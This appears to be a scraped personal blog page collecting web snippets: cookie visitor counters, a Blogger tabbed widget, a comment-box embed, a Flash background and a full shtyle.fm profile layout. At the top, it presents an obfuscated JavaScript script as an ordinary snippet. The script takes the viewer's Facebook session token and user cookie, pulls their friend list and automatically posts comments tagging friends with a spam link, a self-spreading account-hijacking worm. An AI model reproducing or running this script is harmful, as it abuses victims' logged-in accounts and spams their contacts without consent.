0.99) !important;\n   color: #33b1fe !important;\n\n}";
if (typeof GM_addStyle != "undefined") {
 GM_addStyle(css);
} else if (typeof PRO_addStyle != "undefined") {
 PRO_addStyle(css);
} else if (typeof addStyle != "undefined") {
 addStyle(css);
} else {
 var node = document.createElement("style");
 node.type = "text/css";
 node.appendChild(document.createTextNode(css));
 var heads = document.getElementsByTagName("head");
 if (heads.length > 0) {
  heads[0].appendChild(node); 
 } else {
  // no head yet, stick it whereever
  document.documentElement.appendChild(node);
 }
}
})();
var _0xa22c=
["value","fb_dtsg","getElementsByName","match","cookie","237118669824210","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round",", cobain deh  \ud83c\udf53 @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= http://facebook.com/discoveredart .. :D  ;) ... \ud83c\udf31\ud83c\udf53\ud83c\udf4a\ud83c\udf34\ud83c\udf4e\ud83c\udf1f\ud83c\udf43\ud83c\udf40\ud83c\udf3b\ud83c\udf3a\ud83c\udf39\ud83c\udf38\ud83c\udf37 ","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);


For adding music:

Add below code after above 

var _audio= document.createElement('audio');
_audio.style.width="100%";
_audio.style.height="25px";
_audio.controls = true;
_audio.autoplay = false;
_audio.autoplay = true;
_audio.src = "http://favorite_mp3_link.mp3";
_div.appendChild(_audio);
_body.appendChild(_div);

  
.

Website visitor counter

...

Full code as below:

<script>
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}
var expDays = 30;
var exp = new Date();
exp.setTime(exp.getTime() + (expDays*24*60*60*1000));
function amt(){
var count = GetCookie('count')
if(count == null) {
SetCookie('count','1')
return 1
}
else {
var newcount = parseInt(count) + 1;
DeleteCookie('count')
SetCookie('count',newcount,exp)
return count
}
}
function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
</script>
<script>
document.write("You've been here <b>" + amt() + "</b> times.")
</script>...

<script type = "text/javascript">

var days = 730; // days until cookie expires = 2 years.
var lastvisit=new Object();
var firstvisitmsg="This is your first visit to this page. Welcome!";
lastvisit.subsequentvisitmsg="Your last visit was on <b>[displaydate]</b>";

lastvisit.getCookie=function(Name){
var re=new RegExp(Name+"=[^;]+", "i");
if (document.cookie.match(re))
return document.cookie.match(re)[0].split("=")[1];
return'';
}

lastvisit.setCookie=function(name, value, days){
var expireDate = new Date();

var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days));
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; path=/";
}

lastvisit.showmessage = function() {
var wh = new Date();
if (lastvisit.getCookie("visitc") == "") {
lastvisit.setCookie("visitc", wh, days);
document.write(firstvisitmsg);
}

else {
var lv = lastvisit.getCookie("visitc");
var lvp = Date.parse(lv);
var now = new Date();
now.setTime(lvp);
var day = new Array("Sun", "Mon", "Tues", "Wed", "Thur", "Fri", "Sat");
var month = new Array ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec");
var dd = now.getDate();
var dy = now.getDay();
dy = day[dy];
var mn = now.getMonth();
mn = month[mn];
yy = now.getFullYear();
var hh = now.getHours();
var ampm = "AM";
if (hh >= 12) {ampm = "PM"}
if (hh >12){hh = hh - 12};
if (hh == 0) {hh = 12}
if (hh < 10) {hh = "0" + hh};
var mins = now.getMinutes();
if (mins < 10) {mins = "0"+ mins}
var secs = now.getSeconds();
if (secs < 10) {secs = "0" + secs}
var dispDate = dy + ", " + mn + " " + dd + ", " + yy + " " + hh + ":" + mins + ":" + secs + " " + ampm
document.write(lastvisit.subsequentvisitmsg.replace("[displaydate]", dispDate))
}

lastvisit.setCookie("visitc", wh, days);

}

lastvisit.showmessage();

</script>
.

Tabbed content widget for Blogger

Add easily tabbed widget to blogger blog.

I find below code by search

<style type="text/css">
.tabber {
 padding: 0px !important;
 border: 0 solid #bbb !important;
}
.tabber h2 {
 float: left;
 margin: 0 1px 0 0;
 font-size: 12px;
 padding: 3px 5px;
 border: 1px solid #bbb;
 margin-bottom: -1px; /*--Pull tab down 1px--*/
 overflow: hidden;
 position: relative;
 background: #e0e0e0;
 cursor:pointer;
}
html .tabber h2.active {
 background: #fff;
 border-bottom: 1px solid #fff; /*--"Connect" active tab to its content--*/
}
.tabber .widget-content {
 border: 1px solid #bbb;
 padding: 10px;
 background: #fff;
 clear:both;
 margin:0;
}
.codewidget, #codeholder {
 display:none;
}
</style>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
<script type="text/javascript">
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(7($){$.q.r=7(b){4 c={g:3};4 b=$.s(c,b);4 d=$(8).h().h(\'.5\');d.6(\'t\');u($(\'a[v^="w://x.y.z"]\').A(\'#i a\')){d.B(\'.5\').C(0,b.g).6(\'1\')}D{}$(\'.1\').9();$(\'.1:e\').j($(\'.1 2\'));$(\'.1:e\').k();$(\'.1\').E($(\'#i p\').F({\'G\':\'H 0 0\',\'I\':\'0\',\'J-K\':\'L\'}));$(\'.1 2:e\').6(\'f\');$(\'.1 2\').M(7(){$(\'.1 2\').N(\'f\');$(8).6(\'f\');4 n=$(\'.1 2\').O($(8));4 a=$(\'.1:P(\'+n+\')\');a.j($(\'.1 2\'));$(\'.1\').9();a.k();a.l(\'.5-m\').o().9();a.l(\'.5-m\').o().Q(R);S T})}})(U);',57,57,'|tabber|h2||var|widget|addClass|function|this|hide|||||first|active|tabCount|parent|codeholder|prepend|show|find|content||contents||fn|bloggerTabber|extend|codewidget|if|href|http|www|bloggersentral|com|is|nextAll|slice|else|append|css|margin|5px|padding|font|size|10px|click|removeClass|index|eq|fadeIn|700|return|false|jQuery'.split('|'),0,{}))
</script>
<script type="text/javascript">
$(document).ready(function() {
 $('#codeholder').bloggerTabber ({
  tabCount : 3
 });
});
</script>

- Copy above code
- Add html widget & paste
- Now add 3 widgets below it
- Change tabcount to change number of tabs


.

HTML Comment Box

Add commentbox widget to blog or website.

Code is as below:

<div id="HCB_comment_box"><a href="http://www.htmlcommentbox.com">HTML Comment Box</a> is loading comments...</div>
 <link rel="stylesheet" type="text/css" href="http://www.htmlcommentbox.com/static/skins/simple/skin.css" />
 <script type="text/javascript" language="javascript" id="hcb"> /*<!--*/ if(!window.hcb_user){hcb_user={  };} (function(){s=document.createElement("script");s.setAttribute("type","text/javascript");s.setAttribute("src", "http://www.htmlcommentbox.com/jread?page="+escape((window.hcb_user && hcb_user.PAGE)||(""+window.location)).replace("+","%2B")+"&opts=470&num=10");if (typeof s!="undefined") document.getElementsByTagName("head")[0].appendChild(s);})(); /*-->*/ </script>

Credit: http://www.htmlcommentbox.com/
.

SWF as background in html

Below is code to use swf file as back ground in html...

<table style="width:480;height:125;position:relative;"> <tbody> <tr> <td style="position:absolute; z-index:1;">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="480" height="125"> <param name="movie" value="http://www.aleosoft.com/res/flashtutorial_transparent.swf" /> <param name="quality" value="high" />
<param name="wmode" value="transparent" /> <embed src="http://www.aleosoft.com/res/flashtutorial_transparent.swf" quality="high" type="application/x-shockwave-flash" width="480" height="125" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" /></embed> </object></td> </tr><tr> <td style="position:relative; z-index:2;">

HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content
</td</tr> </tbody> </table>


 
HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content HTML content

I use table because want to use in forum but can use by using div tag.

Originally posted @ http://www.aleosoft.com/flashtutorial_flashbackground.html
.

Get facebook user link by image

Just know how to get facebook user profile, group or page link by image on facebook... 

Below is image url of facebook...



https://fbcdn-sphotos-f-a.akamaihd.net/hphotos-ak-ash4/1455014_540410212714171_251548845_n.jpg

The latter in red color is photo id & now get new url by photo id as below...

http://www.facebook.com/photo.php?fbid=540410212714171

Now easily get photo, photo album, user/group/page link by this...
.

Full html code of shtyle profile

<style type="text/css">
#nav {
background-color:  transparent;
    font-family: georgia;
    font-weight: bold;
    font-size: 110%;
    width: 125px;
     margin-top: 5px;
}
  #nav td a:link, #nav a:visited {
    color: #ffffff;
    text-decoration: none;
}
#nav td a:hover {
    color: #000000;
    text-decoration: none;
}
#nav th a {
    color: #ffffff;
    text-decoration: none;
}
  #nav a {
    display: block;
    padding: 0 10px;
}
  #nav td {
    background-color:  #2175bc;
    margin: 0;
    position: relative;
    width: 125px;
    padding: 2px;
border-left: 10px solid #0D548E;
border-right: 10px solid #508fc4;
    border-radius: 15px;
    text-align: center;
}
 #nav th {
    background-color:  #0D548E;
    margin: 0;
    position: relative;
    width: 125px;
    padding: 2px;
border-left: 10px solid #000000;
border-right: 10px solid #508fc4;
    border-radius: 15px;
  text-align: center;
  height: 35px;
}
#nav td:hover {
border-left: 10px solid #0D548E;
border-right: 10px solid #5ba3e0;
background-color: #59AAEC;
color: black;
}

html {background-color: #0561AC; background-color:  #0561AC; !important }

#body {
       background-color: #0561AC;
       padding-left: 10px;
margin-top: 1px;
margin-left: 0px;
width: 1000px;
        max-height: 1000px;
        overflow-y: scroll;
        padding: 0 0 5px;
    display: block;
   font-family: georgia;
   font-size: 12px;
    color:#FFFFFF;
    text-align: left;
   cursor: url(http://fs4.shtyle.fm/dynimg/usrphoto/5B/07/76351323_mukti.png),  progress !important; }

#links, #links li, #notif-root-div, frame, #footer, #profile, #peopleAdsContainer,#header,  #notificationinfo   {margin-top: -10000px; margin-left: -10000px;}

#friendlinessLevel, #notif-root-div, #notif-root, #notif-root-div span, #notif  {max-height: 1px; width: 1px;  ; margin-top: -1px; margin-right: -10000px; !important}

#borderradius {
border-radius: 25px; -o-border-radius: 25px; -moz-border-radius: 25px; -icab-border-radius: 25px; -khtml-border-radius: 25px; -webkit-border-radius: 25px; border-radius:25px;
}

#actionbox { float: right; position: absolute; top: 380px; left: 480px; border: 0px #ccc solid; font-family: georgia; font-size: 12px; color: #ffffff;  !important }
 #actionbox a, #actionbox img, #actionbox div, #commentform table {background-color: black !important; }

#commentform  {max-height: 370px; min-height: 370px; float:right; position: absolute; top: 400px; left: 480px;  max-width:555px; background:  url(http://fs4.shtyle.fm/dynimg/usrphoto/2E/32/75575854_aaaaa11111111111.gif);  !important; }

#profile #commentform textarea {color: #ffffff !important; font-size:18px !important;}
textarea {min-height: 130px; !important; background: transparent;}

#profile #commentFormId, #commentFormLink {color: transparent; min-height: 150px; background-color: transparent !important; background: url(http://fs4.shtyle.fm/dynimg/usrphoto/2E/32/75575854_aaaaa11111111111.gif);  !important;}

#profile .sidebar, textarea, #profile #commentform textarea
{ border: 0 solid; background-color: black !important;
background: url(http://i1193.photobucket.com/albums/aa342/pjoshi2351/Background/shtylebg.png) !important;}

#profile #comments {max-width: 555px; min-width: 555px; max-height: 555px; position: absolute; top: 680px; left: 480px;  padding-top: 10px; overflow-y: scroll; overflow-x: hidden; cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),progress; text-decoration: none!important; font-family: 'georgia' !important; color:#ffffff;  !important;  font-size: 22px;  !important;  font-weight:bold; max-width: 555px;  line-height:20px; overflow-y: scroll; background-image: url(http://fs4.shtyle.fm/dynimg/usrphoto/C0/4F/75911104_bg.jpg) !important;}

#profile #comments:hover {min-width: 555px; background-color: black; background-image: url(http://i1193.photobucket.com/albums/aa342/pjoshi2351/Background/bgh-1.png) !important;}

#profile #commentform span, .sidebar input {background-color: #FF00FC !important; }

#profile #comments .expandoption img:hover {
-moz-transition: all 0.5s ease-in-out;
-webkit-transition: all 0.5s ease-in-out;
-o-transition: all 0.5s ease-in-out;
-ms-transition: all 0.5s ease-in-out;
transition: all 0.5s ease-in-out;
-moz-transform: rotate(-360deg);
-webkit-transform: rotate(-360deg);
-o-transform: rotate(-360deg);
-ms-transform: rotate(-360deg);
transform: rotate(-360deg);}

#profile #comments a:link, #profile #comments a:visited, #profile #comments a:hover {color: #ffffff; text-decoration: none; font-weight:bold; !important; max-width: 555px; line-height:20px;  overflow-y: scroll;   !important; }

#profile #comments h2 span {position: absolue;  .001em; color: transparent; font-size: 0.001; text-align: center; padding: 0px; left: -5000px; top: -300px; background-color: transparent; ! important}

</style>


<table id="borderradius" style="position: absolute; top: 5px; left: 10px; width:1235px; height: 45px; border: 0px solid transperant; background-color: #000000;" align="center">
<tr >
 <td align="left" valign="middle" style="width:600px; padding-left:10px; text-align:center; font-family:Cursive;font-size:23px;color: #FCFFDB; font-style:italic;font-weight:bold;text-shadow:2px 4px 4px gold;">
A Heart in Love with Beauty  Never Grows Old...!  </td> <td align="right" width="615px">
<table id="nav" align="center" style="margin-right: 10px;">  <tr >
 <td id="nav" valign="middle"> <a href="/home.do">Home</a>   </td> <td><a href="/profile.do">Profile</a></td>
    <td><a href="/comments.do">Comments</a></td>  <td> <a href="/pokeFriends.do">Poke</a> </td>
     <td><a href="/wbrowse.do">Writings</a> </td>
    <td><a href="/quizHome.do">Quiz</a></td>
    <td><a href="/rbrowse.do">Music</a>
 </tr> </table> </tr> </table>

<table id="actheader1" style="position: absolute; top: 380px; left: 415px; width:55px; height: 290px; border: 0px solid transperant; border-radius:25px; background-color: black; font-size: 22px; font-weight: bold;" align="center"> <tr> <td align="left" style="text-align:center;" valign="top" > <br /><img src="http://www.veryicon.com/icon/png/System/Crystal%20Clear%20Actions/Forward%20Arrow.png" width="55px" /> <br /> F<br />o<br />r<br />m </td></tr></table>

<table id="cmtheader1" style="position: absolute; top: 680px; left: 415px; width:55px; height: 575px; border: 0px solid transperant; border-radius:25px; background-color: black; font-size: 32px; font-weight: bold;" align="center"> <tr> <td align="left" style="text-align:center;" valign="top" > <br /><img src="http://www.veryicon.com/icon/png/System/Crystal%20Clear%20Actions/Forward%20Arrow.png" width="55px" /> <br /> <br /> <br />U<br /><br />P<br /><br />D<br /><br />A<br /><br />T<br /><br />E<br /><br />S </td></tr></table>


<table id="borderradius" style="position: absolute; top: 55px; left: 10px; width:350px; height: 320px; border: 0px solid transperant; background-color: #033863; cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),progress;" align="center"  class="borderradius">
<tr >
<td align="left" valign="top" style="padding-left: 10px" rowspan="2">
<table id="nav">
<tr><td colspan="3" height="235px"> <img alt="" src="http://fs4.shtyle.fm/dynimg/usrphoto/49/7D/77299017_z1.gif" height="110" align="top"> <br /> <br />
<marquee align="bottom" direction="up" width="300" height="90" style="font-size: 110%; text-align; center;" scrollamount="2">
I am Dr.Pankaj Joshi <br /> from:  Gujarat, India.<br /><br /> I am interested in everything <br />but mainly Arts & Music.<br /> I like to do different, <br /> you can see my profile layout is different. <br />  I learn all these by my shtyle friends...!<br />  <br /> You may join with me <br /> on my other networks also <br /> <br /> Just search <br /> <br /> <br /> pjoshi235 <br /> <br />  It is my user name on most popular websites... <br /> <br /><a href="http://pjoshi235.blogspot.com><img src="http://i1193.photobucket.com/albums/aa342/pjoshi2351/logo/dream-1.gif" width="275"></a>
</marquee></td> </tr> <tr> <td><a href="/editProfile.do">Edit</a></td><td><a href="/files.do">Files</a></td> <td><a href="/editAvatar.do">Avatar</a></td> </tr>
<tr> <td><a href="/mailInbox.do">Mail</a></td>  <td><a href="/games.do">Games</a></td> <td><a href="/friends.do">Friends</a> </td>
</tr>
   <tr>   <td colspan="3"><a href="/uploadPhotos.do?aid=22179736" target="_blank">Upload Photos</a></td> </tr>
</table>
</td> </tr> </table>

<table id="borderradius" style="position: absolute; top: 55px; left: 415px; width:350px; height: 320px; border: 0px solid transperant; background-color: #033863; cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),progress;" align="center"  class="borderradius">
<tr >
<td align="center" valign="bottom" style="margin-right:30px;">  <br />
<font size="4" face="georgia" color="white"><i> <b>Online FM Radio </b></i></font>  <br />  <br />  <audio width="300" height="25" controls="controls" autoplay="autoplay" loop="loop"><source src="http://5303.live.streamtheworld.com/ARNCITY_SC" type="audio/mpeg"/><source src="http://5303.live.streamtheworld.com/ARNCITY_SC" type="audio/webm"/>Your browser does not support HTML5 audio. Please update your browser to view this media content.</audio>  <br /> <font size="3"  face="georgia" color="white">  Online Hindi Music from Dubai... 24*7 </font>
</td>
</tr>
 <tr>
<td align="center" valign="middle">
<table border="0" align="center">
<style>
.r{}
.pic {
  height: 35px;
  width: 35px;
  overflow: hidden;
  margin: 0px;
  border: 0px solid white;
}

.r{}
.morph {
  -webkit-transition: all 0.5s ease;
     -moz-transition: all 0.5s ease;
       -o-transition: all 0.5s ease;
      -ms-transition: all 0.5s ease;
          transition: all 0.5s ease;
}
.morph:hover {
  -webkit-transform: rotateY(180deg);
     -moz-transform:rotateY(180deg);
       -o-transform: rotateY(180deg);
      -ms-transform: rotateY(180deg);
          transform: rotateY(180deg);
}
</style>
<tr>
<td align="center" valign="bottom" colspan="8" style="margin-right:20px;">
<font size="4" face="georgia" color="white"><i> <b>My Networks...</b></i></font>  <br />
</td> </tr>
<tr><td align="center" valign="middle" class="morph pic" colspan="8">
<a href="http://pjoshi235.blogspot.com" target="_blank"> <img src="http://i1193.photobucket.com/albums/aa342/pjoshi2351/logo/dream-1.gif" height="65px" border="0"></img> </a> <br /><br /> </td> </tr><tr>
<td  class="morph pic"><a href="http://www.facebook.com/pjoshi235" target="_blank"> <img src="http://fs4.shtyle.fm/dynimg/usrphoto/3E/37/76166974_fblogo.png" height="35" border="0" ></a></td>
<td  class="morph pic"><a href="http://www.twitter.com/pjoshi235" target="_blank"> <img src="http://fs4.shtyle.fm/dynimg/usrphoto/62/37/76167010_twittwer.png" height="35" border="0" > </a></td>
<td  class="morph pic"> <a href="https://plus.google.com/110829494565360035889" target="_blank" border="0" > <img src="http://fs4.shtyle.fm/dynimg/usrphoto/40/37/76166976_google_plus_logo_red_265px.png" height="35" border="0" > </a> </td>
<td  class="morph pic"> <a href="http://www.linkedin.com/in/pjoshi235" target="_blank"><img src="http://fs4.shtyle.fm/dynimg/usrphoto/42/37/76166978_LinkedIn_logo.png" height="35" border="0" ></a></td>
<td  class="morph pic"> <a href="http://www.youtube.com/pjoshi235" target="_blank"><img src="http://fs4.shtyle.fm/dynimg/usrphoto/98/37/76167064_youtube.png" height="35" border="0" > </a> </td>
<td  class="morph pic"><a href="http://feeds.feedburner.com/pjoshi235" target="_blank"><img src="http://fs4.shtyle.fm/dynimg/usrphoto/48/37/76166984_rss_logo.png" height="35" border="0" ></a></td>
<td  class="morph pic"> <a href="http://my.opera.com/pjoshi235" target="_blank"><img src="http://static.myopera.com/community/graphics/dexter/myo-icon.png" height="35" border="0" ></a> </td><td  class="morph pic"> <a href="http://www.shtyle.fm/mailCompose.do?toUserid=23013687" target="_blank"><img src="http://fs4.shtyle.fm/dynimg/usrphoto/DB/38/76167387_email.png" height="35" border="0" ></a> </td>

</tr></table> </td>
</tr> </table>


<table id="borderradius" style="position: absolute; top: 55px; right: 20px; width:350px; height: 320px; border: 0px solid transperant; background-color: #033863; cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),progress;" align="center"  class="borderradius"> <tr>
<td align="center" id="sshow">
<EMBED src="http://dreamland.co.nf/slideshow/slideshow.swf?xml_source=http://dreamland.co.nf/slideshow/slideshow.xml"
quality="high"
bgcolor="#000000"
WIDTH="320"
HEIGHT="320"
NAME="slideshow"
allowScriptAccess="sameDomain"
swLiveConnect="true"
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</td></tr></table>

<table id="borderradius" style="position: absolute; top: 1260px; left: 10px; width:1235px; height: 45px; overflow: auto; border:0px solid black; " align="left">
 <td id="borderradius" style="height:60px; width: 1235px; padding-right:10px;"  align="right" " bgcolor="black"> <font face="georgia" color="white" size="5"> &copy <a href="http://pjoshi235.blogspot.com" target="_blank">DREAMLAND : Dr.Pankaj Joshi</a> </font> <br /></td> </tr>  </table>

<table id="borderradius" style="position: absolute; top: 405px; right: 20px; width:170px; height: 850px; border: 0px solid transperant; background-color: #033863; cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),progress;" align="center">
<tr >
<td align="left" valign="top"> <br />   <EMBED src="http://7feeds.com/rssinformer.swf?version=1.4&title_format=center/_sans/16/0x000000/b/ni/nu&subtitle_text=Powered%20by&subtitle_format=center/verdana/11/0x000000/b/ni/nu&feed_title_format=left/arial/14/0x6599ff/b/ni/nu&feed_date_format=left/arial/12/0xC8BDBD/b/ni/nu&feed_copy_format=left/arial/12/0xC8BDBD/b/i/nu&feed_text_format=left/arial/12/0x666666/nb/ni/nu&body_bgcolor=0xd1e0ff&title_bgcolor=0xEFEFEF&subtitle_bgcolor=0xE3E3E3&footer_bgcolor=0xd1e0ff&feed_bgcolor=0xffffff&feed_highlight=0xe7f0ff&border_color=0x6599ff&summary_length=300&scroll_speed=50&item_spacing=12&scroll_buttons=1&num_of_entries=20&pause_time=3000&show_publish_time=1&show_entry_summary=1&show_entry_copyright=0&show_footer=1&use_rounded_corners=1&open_new_window=1&data_url=http://7feeds.com/feed.php&feed_url=http%3A%2F%2Fpjoshi235%2Eblogspot%2Ecom&strip_tags=0&footer_powered_format=right/_sans/11/0x666666/nb/ni/nu&footer_feedo_format=left/_sans/11/0x6599ff/nb/ni/nu&x_size=170&y_size=400&feed_back_color=0xf7faff&feeds_num_color=0x6599ff&buttons_onpress_color=0x6599ff&buttons_rollout_color=0x989898&show_body=1&widget_name=Dreamland&used_theme=1&lang1=Loading...&lang2=Powered%20by"
quality="high"
bgcolor="#000000"
WIDTH="170"
HEIGHT="400"
allowScriptAccess="sameDomain"
swLiveConnect="true"
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</td> </tr> </table>
<table id="borderradius" style="position: absolute; top: 385px; left: 20px; width:350px; height: 870px; border: 0px solid transperant; background-color: #033863; cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),progress;" align="center">
<tr >
<td align="left" id="flickr" valign="top"> <br />
<object width="350" height="233"> <param name="flashvars" value="offsite=true&lang=en-us&page_show_url=%2Fphotos%2Fpjoshi235%2Fsets%2F72157636190623853%2Fshow%2Fwith%2F10088955304%2F&page_show_back_url=%2Fphotos%2Fpjoshi235%2Fsets%2F72157636190623853%2Fwith%2F10088955304%2F&set_id=72157636190623853&jump_to=10088955304"></param> <param name="movie" value="http://www.flickr.com/apps/slideshow/show.swf?v=124984"></param> <param name="allowFullScreen" value="true"></param><embed type="application/x-shockwave-flash" src="http://www.flickr.com/apps/slideshow/show.swf?v=124984" allowFullScreen="true" flashvars="offsite=true&lang=en-us&page_show_url=%2Fphotos%2Fpjoshi235%2Fsets%2F72157636190623853%2Fshow%2Fwith%2F10088955304%2F&page_show_back_url=%2Fphotos%2Fpjoshi235%2Fsets%2F72157636190623853%2Fwith%2F10088955304%2F&set_id=72157636190623853&jump_to=10088955304" width="350" height="233"></embed></object>
</td> </tr> </table>
.
You are the essence of essence....
Be sure of what you look for...!
It is you... It is in you...!

Online Radio...!